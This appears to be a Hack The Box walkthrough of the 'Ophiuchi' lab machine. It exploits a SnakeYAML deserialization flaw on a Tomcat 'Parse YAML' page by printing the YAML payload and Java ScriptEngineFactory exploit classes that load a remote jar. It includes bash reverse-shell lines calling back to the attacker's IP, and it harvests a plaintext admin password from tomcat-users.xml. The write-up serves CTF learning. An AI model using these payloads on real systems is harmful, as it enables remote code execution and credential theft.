HTB Ophiuchi Walkthrough
A walkthrough on the Ophiuchi hack the box.
Welcome back, with this nice and entertaining BOX, where all the steps done to reach the flags are really interesting! Let's go start!
The nmap scan highlight as usual a web portal on port 8080 this time.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-03 21:36 CET
Nmap scan report for 10.10.10.227
Host is up (0.045s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.55 seconds
Looking at the portal I can find only a simple form that allows me to parse a YAML file.
Trying the parser seems that the feature is disabled (will be the truth?).
Well, go ahead and try to find some other possible attack side. I use dirb to search for hidden folders.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.227 - Ophiuchi (lin)]
└─$ dirb http://10.10.10.227:8080/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Mar 3 21:45:40 2021
URL_BASE: http://10.10.10.227:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.227:8080/ ----
+ http://10.10.10.227:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.10.227:8080/manager (CODE:302|SIZE:0)
+ http://10.10.10.227:8080/Servlet (CODE:200|SIZE:0)
+ http://10.10.10.227:8080/test (CODE:302|SIZE:0)
-----------------
END_TIME: Wed Mar 3 21:49:17 2021
DOWNLOADED: 4612 - FOUND: 4
Something goes out, but nothing really interesting; all the URL are protected by a password.
http://10.10.10.227:8080/host-manager
http://10.10.10.227:8080/manager
The code returned by dirb for the test URL (302) is different from the code 404 return by the browser, probably, there's a permanent redirect code that the browser is following. And in fact:
Nothing again. The next step I try is to investigate about specific exploit for the Apache Tomcat 9.0.38 that the nmap scan provides me as a web server running on the target machine. I found two possible vulnerability, I'll take in mind that like future ways if I can't find anything better.
Usually, in this kind of activities, all direction could be a good approach and they have to be tested all, but for a CTF "game" this seems to be the wrong way; who create the BOX leave to you specific clues because he wants that you follow a specific way. The portal is there for that, but we have not yet used it. In a real penetration test scenario, you'll have to try and test all possible vulnerabilities, to provide a complete and detailed report about your investigation. Enjoy your CTF "game", now.
Anyway, I list for complete information about my investigation.
Come back on the portal so and try to go deeper to the YAML parser available on the page. Using a curl command I notice something interesting.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.227 - Ophiuchi (lin)]
└─$ curl -d '' http://10.10.10.227:8080/Servlet -v
* Trying 10.10.10.227:8080...
* Connected to 10.10.10.227 (10.10.10.227) port 8080 (#0)
> POST /Servlet HTTP/1.1
> Host: 10.10.10.227:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 0
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 1251
< Date: Wed, 03 Mar 2021 21:40:54 GMT
< Connection: close
<
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException
java.base/java.io.StringReader.<init>(StringReader.java:50)
org.yaml.snakeyaml.reader.StreamReader.<init>(StreamReader.java:63)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
* Closing connection 0
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.38</h3></body></html>
I'm not completely sure that the feature is disabled!
Searching for "yaml java deserialization vulnerability" I found some interesting article about that:
The interesting part seems to be this formatted YAML that activates a sort of execution of java code but have to understand how.
String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://attacker.com\"]]]]";
Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com
To start, I try to insert this string in the parser and check the output:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com\"]]]]
Well, I think to be in the right direction, as I supposed, the feature is not really disabled.
To go deeper I search again on the internet and finally I reach a github repository that will be my real treasure to go ahead on this BOX. Searching for "java deserialization yaml exploit reverse shell"...
In the repository there's a link to a detailed document, wrote by two students that investigate a lot of type of serialization vulnerability.
https://raw.githubusercontent.com/mbechler/marshalsec/master/marshalsec.pdf
Well, that one that interesting me is the one saw before. It seems that the URL inside the YAML, will be contacted and used by the serializer and interpreted as a java class. So, the first step is to understand if the target machine calls really the attacking machine using that specific script.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.195:8080/"]
]]
]
And listening on my machine, I'll receive a call from the target machine.
┌──(in7rud3r㉿Mykali)-[~]
└─$ php -S 10.10.14.195:8080
[Thu Mar 4 21:48:55 2021] PHP 7.4.15 Development Server (http://10.10.14.195:8080) started
[Thu Mar 4 21:48:59 2021] 10.10.10.227:60262 Accepted
[Thu Mar 4 21:48:59 2021] 10.10.10.227:60262 [404]: (null) /META-INF/services/javax.script.ScriptEngineFactory - No such file or directory
[Thu Mar 4 21:48:59 2021] 10.10.10.227:60262 Closing
Good, the routing should be the default elaborated by the serializer class, but probably I can target a specific custom file.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.195:8080/exploit.jar"]
]]
]
Yes, that's right!
[Thu Mar 4 23:03:16 2021] 10.10.10.227:60268 Accepted
[Thu Mar 4 23:03:16 2021] 10.10.10.227:60268 [404]: (null) /exploit.jar - No such file or directory
[Thu Mar 4 23:03:16 2021] 10.10.10.227:60268 Closing
Ok, I start by creating a standard java class with a reverse shell inside it, something like the following code, but I will soon realize that I still have to study the document and the analysis reported in it.
import java.io.*;
import java.net.Socket;
public class Exploit {
public static void main(String[] args) throws java.io.IOException
{
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.195/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
}
}
Anyway, to compile and packet the class in a jar file I proceed as follow.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ javac Exploit.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ jar cf Exploit.jar Exploit.class
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
This approach, as said before, is not the right one; the file is downloaded but not interpreted. So, I come back on the document and read better it and I discover that:
Ok, the first three steps are the original script, but the fourth is the instruction to create the java class. My new java code (after a long series of attempts and corrections of compilation errors) seems like this one:
package in7rud3r;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class ExploitScriptEngineFactory implements ScriptEngineFactory {
public ExploitScriptEngineFactory()
{
try {
Runtime.getRuntime().exec("curl http://10.10.14.195/");
// Runtime.getRuntime().exec("bash -i >& /dev/tcp/10.10.14.195/4444 0>&1");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
Anyway, again, I don't receive any incoming connection from the target, so, I start a long activity of test on my machine.
I hate java and I use it really very few times, so to understand what happens it was a pain activity.
After a lot of hours spent to test and re-test I understand that should be a sort of problem with the manifest of the jar file generated, so, searching on the internet I found an interesting github project that, coincidentally, talk about the exploit I'm trying to implement with the complete source code to customize.
So, I add the manifest folder to my project and try to exploit again the target machine.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ jar -cvf ExploitScriptEngineFactory.jar -C src .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: in7rud3r/(in = 0) (out= 0)(stored 0%)
adding: in7rud3r/ExploitScriptEngineFactory.class(in = 1611) (out= 672)(deflated 58%)
adding: in7rud3r/ExploitScriptEngineFactory.java(in = 1560) (out= 451)(deflated 71%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
Well, let me add that... I haven't immediate success on that, but I have to identify the right shell to launch passing also for a step by step phase to understand if I'm in the right direction. Initially, the shell doesn't spawn and I was able only to call an HTTP URL using the curl command, but after a lot of attempts, finally, I identify the right shell.
Finally, when the exploit work...
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.227 - Ophiuchi (lin)/attack/java]
└─$ sudo php -S 10.10.14.195:80
[Fri Mar 5 20:16:57 2021] PHP 7.4.15 Development Server (http://10.10.14.195:80) started
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40088 Accepted
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40088 [200]: (null) /ExploitScriptEngineFactory.jar
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40088 Closing
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40090 Accepted
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40090 [200]: (null) /ExploitScriptEngineFactory.jar
[Fri Mar 5 20:17:01 2021] 10.10.10.227:40090 Closing
[Fri Mar 5 20:17:02 2021] 10.10.10.227:40092 Accepted
[Fri Mar 5 20:17:02 2021] 10.10.10.227:40092 [404]: (null) / - No such file or directory
[Fri Mar 5 20:17:02 2021] 10.10.10.227:40092 Closing
Well, the shell used in the code is the following:
String[] cmdline = {"/bin/bash","-c","/bin/bash -i >& /dev/tcp/10.10.14.195/4444 0>&1"};
Runtime.getRuntime().exec(cmdline).waitFor();
Anyway, it's not a tty shell, so I spawn a real tty shell using python.
python3 -c 'import pty; pty.spawn("/bin/sh")'
Well, I can't execute commands as root without a password, so I pass to search for vulnerability using my friend linpeas. Here an extraction that will be the object of my investigation.
Again, as I mentioned in all my walkthrough, to upload the linpeas.sh file 0n the target machine, start a web-server on your machine (php allow that in a really simple way) on the folder where the script is located and download using curl or the wget command from the target machine, provide the execution privileges using the chmod command and you will be able to launch the script.
[...]
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
[...]
gdb was found in PATH
[...]
====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 427K Mar 4 2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 427K Mar 4 2019 /snap/core18/1705/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59K Mar 22 2019 /snap/core18/1885/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K Mar 22 2019 /snap/core18/1885/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1885/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root root 59K Mar 22 2019 /snap/core18/1705/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPA
RC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K Mar 22 2019 /snap/core18/1705/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1705/usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1705/usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1705/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1705/bin/su
-rwsr-xr-- 1 root systemd-resolve 42K Jun 10 2019 /snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 63K Jun 28 2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root root 63K Jun 28 2019 /snap/core18/1705/bin/ping
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23K Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 31K Aug 16 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 27K Jan 8 2020 /snap/core18/1705/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 43K Jan 8 2020 /snap/core18/1705/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-
1699.24.8
-rwsr-xr-x 1 root root 146K Jan 31 2020 /snap/core18/1885/usr/bin/sudo ---> /sudo$
-rwsr-xr-x 1 root root 146K Jan 31 2020 /snap/core18/1705/usr/bin/sudo ---> /sudo$
-rwsr-xr-x 1 root root 27K Mar 5 2020 /snap/core18/1885/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 43K Mar 5 2020 /snap/core18/1885/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-
1699.24.8
-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 39K Apr 2 2020 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 67K Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 55K Apr 2 2020 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 67K Apr 16 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solari
s_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 44K Apr 16 2020 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 87K Apr 16 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Apr 16 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 84K Apr 16 2020 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 463K May 29 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51K Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-- 1 root systemd-resolve 42K Jun 11 2020 /snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 128K Jul 10 2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 109K Sep 4 16:33 /snap/snapd/9279/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 109K Sep 30 04:59 /snap/snapd/9607/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 163K Jan 19 14:21 /usr/bin/sudo ---> /sudo$
[...]
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root tomcat 6898 Sep 10 08:25 /opt/tomcat/RELEASE-NOTES
-rw-r----- 1 root tomcat 57092 Sep 10 08:25 /opt/tomcat/LICENSE
-rw-r----- 1 root tomcat 2333 Sep 10 08:25 /opt/tomcat/NOTICE
-rw-r----- 1 root tomcat 38857 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ru.jar
-rw-r----- 1 root tomcat 224527 Sep 10 08:23 /opt/tomcat/lib/tomcat-util-scan.jar
-rw-r----- 1 root tomcat 187546 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ja.jar
-rw-r----- 1 root tomcat 78788 Sep 10 08:23 /opt/tomcat/lib/catalina-storeconfig.jar
-rw-r----- 1 root tomcat 124406 Sep 10 08:23 /opt/tomcat/lib/catalina-ha.jar
-rw-r----- 1 root tomcat 149747 Sep 10 08:23 /opt/tomcat/lib/tomcat-jdbc.jar
-rw-r----- 1 root tomcat 50041 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-pt-BR.jar
-rw-r----- 1 root tomcat 908183 Sep 10 08:23 /opt/tomcat/lib/tomcat-coyote.jar
-rw-r----- 1 root tomcat 322469 Sep 10 08:23 /opt/tomcat/lib/tomcat-dbcp.jar
-rw-r----- 1 root tomcat 347015 Sep 10 08:23 /opt/tomcat/lib/catalina-tribes.jar
-rw-r----- 1 root tomcat 13342 Sep 10 08:23 /opt/tomcat/lib/annotations-api.jar
-rw-r----- 1 root tomcat 11649 Sep 10 08:23 /opt/tomcat/lib/tomcat-api.jar
-rw-r----- 1 root tomcat 171815 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-zh-CN.jar
-rw-r----- 1 root tomcat 188011 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-ko.jar
-rw-r----- 1 root tomcat 91104 Sep 10 08:23 /opt/tomcat/lib/el-api.jar
-rw-r----- 1 root tomcat 283767 Sep 10 08:23 /opt/tomcat/lib/servlet-api.jar
-rw-r----- 1 root tomcat 63246 Sep 10 08:23 /opt/tomcat/lib/catalina-ssi.jar
-rw-r----- 1 root tomcat 39727 Sep 10 08:23 /opt/tomcat/lib/websocket-api.jar
-rw-r----- 1 root tomcat 28549 Sep 10 08:23 /opt/tomcat/lib/jaspic-api.jar
-rw-r----- 1 root tomcat 165365 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-fr.jar
-rw-r----- 1 root tomcat 63811 Sep 10 08:23 /opt/tomcat/lib/jsp-api.jar
-rw-r----- 1 root tomcat 1699600 Sep 10 08:23 /opt/tomcat/lib/catalina.jar
-rw-r----- 1 root tomcat 196936 Sep 10 08:23 /opt/tomcat/lib/tomcat-util.jar
-rw-r----- 1 root tomcat 232989 Sep 10 08:23 /opt/tomcat/lib/tomcat-websocket.jar
-rw-r----- 1 root tomcat 54652 Sep 10 08:23 /opt/tomcat/lib/catalina-ant.jar
-rw-r----- 1 root tomcat 36339 Sep 10 08:23 /opt/tomcat/lib/tomcat-jni.jar
-rw-r----- 1 root tomcat 171308 Sep 10 08:23 /opt/tomcat/lib/jasper-el.jar
-rw-r----- 1 root tomcat 75197 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-de.jar
-rw-r----- 1 root tomcat 69258 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-cs.jar
-rw-r----- 1 root tomcat 564673 Sep 10 08:23 /opt/tomcat/lib/jasper.jar
-rw-r----- 1 root tomcat 2989263 Sep 10 08:23 /opt/tomcat/lib/ecj-4.15.jar
-rw-r----- 1 root tomcat 104921 Sep 10 08:23 /opt/tomcat/lib/tomcat-i18n-es.jar
-rw-r----- 1 root tomcat 5409 Sep 10 08:25 /opt/tomcat/CONTRIBUTING.md
-rw-r----- 1 root tomcat 18982 Sep 10 08:25 /opt/tomcat/BUILDING.txt
-rw-r----- 1 root tomcat 3257 Sep 10 08:25 /opt/tomcat/README.md
-rw-r----- 1 root tomcat 16262 Sep 10 08:25 /opt/tomcat/RUNNING.txt
-rw-r----- 1 root tomcat 49605 Sep 10 08:23 /opt/tomcat/bin/tomcat-juli.jar
-rw-r----- 1 root tomcat 2026 Sep 10 08:23 /opt/tomcat/bin/version.bat
-rw-r----- 1 root tomcat 35912 Sep 10 08:23 /opt/tomcat/bin/bootstrap.jar
-rwxr-x--- 1 root tomcat 3708 Sep 10 08:23 /opt/tomcat/bin/setclasspath.sh
-rw-r----- 1 root tomcat 2020 Sep 10 08:23 /opt/tomcat/bin/shutdown.bat
-rwxr-x--- 1 root tomcat 5540 Sep 10 08:23 /opt/tomcat/bin/tool-wrapper.sh
-rw-r----- 1 root tomcat 2123 Sep 10 08:23 /opt/tomcat/bin/ciphers.bat
-rwxr-x--- 1 root tomcat 1908 Sep 10 08:23 /opt/tomcat/bin/version.sh
-rwxr-x--- 1 root tomcat 1997 Sep 10 08:23 /opt/tomcat/bin/ciphers.sh
-rw-r----- 1 root tomcat 2022 Sep 10 08:23 /opt/tomcat/bin/startup.bat
-rwxr-x--- 1 root tomcat 9100 Sep 10 08:23 /opt/tomcat/bin/daemon.sh
-rwxr-x--- 1 root tomcat 1965 Sep 10 08:23 /opt/tomcat/bin/digest.sh
-rwxr-x--- 1 root tomcat 25292 Sep 10 08:23 /opt/tomcat/bin/catalina.sh
-rw-r----- 1 root tomcat 4574 Sep 10 08:23 /opt/tomcat/bin/tool-wrapper.bat
-rw-r----- 1 root tomcat 2091 Sep 10 08:23 /opt/tomcat/bin/digest.bat
-rw-r----- 1 root tomcat 1664 Sep 10 08:25 /opt/tomcat/bin/catalina-tasks.xml
-rw-r----- 1 root tomcat 3460 Sep 10 08:23 /opt/tomcat/bin/setclasspath.bat
-rw-r----- 1 root tomcat 25197 Sep 10 08:23 /opt/tomcat/bin/commons-daemon.jar
-rwxr-x--- 1 root tomcat 3382 Sep 10 08:23 /opt/tomcat/bin/makebase.sh
-rw-r----- 1 root tomcat 421399 Sep 10 08:23 /opt/tomcat/bin/tomcat-native.tar.gz
-rw-r----- 1 root tomcat 3606 Sep 10 08:23 /opt/tomcat/bin/makebase.bat
-rwxr-x--- 1 root tomcat 1904 Sep 10 08:23 /opt/tomcat/bin/startup.sh
-rwxr-x--- 1 root tomcat 1902 Sep 10 08:23 /opt/tomcat/bin/shutdown.sh
-rw-r----- 1 root tomcat 16655 Sep 10 08:23 /opt/tomcat/bin/catalina.bat
-rw-r----- 1 root tomcat 2040 Sep 10 08:23 /opt/tomcat/bin/configtest.bat
-rw-r----- 1 root tomcat 206895 Sep 10 08:23 /opt/tomcat/bin/commons-daemon-native.tar.gz
-rwxr-x--- 1 root tomcat 1922 Sep 10 08:23 /opt/tomcat/bin/configtest.sh
-rw-r----- 1 root tomcat 7588 Sep 10 08:25 /opt/tomcat/conf/server.xml
-rw-r----- 1 root tomcat 12873 Sep 10 08:25 /opt/tomcat/conf/catalina.policy
-rw-r----- 1 root tomcat 1149 Sep 10 08:25 /opt/tomcat/conf/jaspic-providers.xml
-rw-r----- 1 root tomcat 2313 Sep 10 08:25 /opt/tomcat/conf/jaspic-providers.xsd
-rw-r----- 1 root tomcat 7262 Sep 10 08:25 /opt/tomcat/conf/catalina.properties
-rw-r----- 1 root tomcat 2234 Dec 28 00:37 /opt/tomcat/conf/tomcat-users.xml
-rw-r----- 1 root tomcat 4144 Sep 10 08:25 /opt/tomcat/conf/logging.properties
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 /opt/tomcat/conf/web.xml
-rw-r----- 1 root tomcat 1400 Sep 10 08:25 /opt/tomcat/conf/context.xml
-rw-r----- 1 root tomcat 2558 Sep 10 08:25 /opt/tomcat/conf/tomcat-users.xsd
[...]
Writable: /opt/tomcat/logs/manager.2021-02-05.log
Writable: /opt/tomcat/logs/host-manager.2021-02-04.log
Writable: /opt/tomcat/logs/localhost.2021-03-05.log
[...]
[+] Backup files
-rw-r--r-- 1 root root 2743 Apr 23 2020 /etc/apt/sources.list.curtin.old
-rw-r--r-- 1 root root 43888 Mar 9 2020 /usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 8729 Sep 10 10:12 /usr/lib/modules/5.4.0-48-generic/kernel/drivers/power/supply/wm831x_backup.ko
-rw-r--r-- 1 root root 8161 Sep 10 10:12 /usr/lib/modules/5.4.0-48-generic/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 8729 Oct 5 13:34 /usr/lib/modules/5.4.0-51-generic/kernel/drivers/power/supply/wm831x_backup.ko
-rw-r--r-- 1 root root 8161 Oct 5 13:34 /usr/lib/modules/5.4.0-51-generic/kernel/drivers/net/team/team_mode_activebackup.ko
-rwxr-xr-x 1 root root 226 Feb 17 2020 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 11070 Oct 11 11:35 /usr/share/info/dir.old
-rw-r--r-- 1 root root 392817 Feb 9 2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 7867 Jul 16 1996 /usr/share/doc/telnet/README.old.gz
-rw-r--r-- 1 root root 2756 Feb 13 2020 /usr/share/man/man8/vgcfgbackup.8.gz
-rwxr-xr-x 1 root root 1086 Nov 25 2019 /usr/src/linux-headers-5.4.0-51/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
-rw-r--r-- 1 root root 237801 Oct 5 13:34 /usr/src/linux-headers-5.4.0-51-generic/.config.old
-rw-r--r-- 1 root root 0 Oct 5 13:34 /usr/src/linux-headers-5.4.0-51-generic/include/config/wm831x/backup.h
-rw-r--r-- 1 root root 0 Oct 5 13:34 /usr/src/linux-headers-5.4.0-51-generic/include/config/net/team/mode/activebackup.h
-rw-r--r-- 1 root root 237780 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/.config.old
-rw-r--r-- 1 root root 0 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/include/config/wm831x/backup.h
-rw-r--r-- 1 root root 0 Sep 10 10:12 /usr/src/linux-headers-5.4.0-48-generic/include/config/net/team/mode/activebackup.h
-rwxr-xr-x 1 root root 1086 Nov 25 2019 /usr/src/linux-headers-5.4.0-48/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
[...]
/etc/overlayroot.conf:# $ MAPNAME="secure"; DEV="/dev/vdg"; PASSWORD="foobar"
/etc/overlayroot.conf:# crypt:dev=/dev/vdb,pass=somepassword,mkfs=0
[...]
Well, a lot of possibilities. I proceed from the top and I pass a lot of files and exploit, but when I arrive at the tomcat folders and files (/opt/tomcat) I found something.
grep --exclude="*.jar" --exclude="*.class" -ilr 'user\|passw' ./*
./BUILDING.txt
./CONTRIBUTING.md
./LICENSE
./README.md
./RUNNING.txt
./bin/setclasspath.sh
./bin/tool-wrapper.sh
./bin/ciphers.bat
./bin/version.sh
./bin/ciphers.sh
./bin/daemon.sh
./bin/digest.sh
./bin/catalina.sh
./bin/tool-wrapper.bat
./bin/digest.bat
./bin/setclasspath.bat
./bin/startup.sh
./bin/shutdown.sh
./bin/catalina.bat
./bin/configtest.sh
./conf/server.xml
./conf/tomcat-users.xml
./conf/web.xml
./conf/tomcat-users.xsd
./webapps/host-manager/WEB-INF/jsp/401.jsp
./webapps/host-manager/WEB-INF/jsp/403.jsp
./webapps/host-manager/WEB-INF/web.xml
./webapps/host-manager/images/asf-logo.svg
./webapps/manager/WEB-INF/jsp/sessionDetail.jsp
./webapps/manager/WEB-INF/jsp/401.jsp
./webapps/manager/WEB-INF/jsp/sessionsList.jsp
./webapps/manager/WEB-INF/jsp/403.jsp
./webapps/manager/WEB-INF/web.xml
./webapps/manager/images/asf-logo.svg
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java
They are configuration and backup files, so I searching for possible passwords or usernames. Identified the right file I look inside and...
grep --exclude="*.jar" --exclude="*.class" --color=always -ir 'user\|passw' ./*
[...]
./BUILDING.txt: proxy.user=username
./BUILDING.txt: proxy.password=password
[...]
./conf/tomcat-users.xml:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
[...]
./conf/tomcat-users.xml: <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
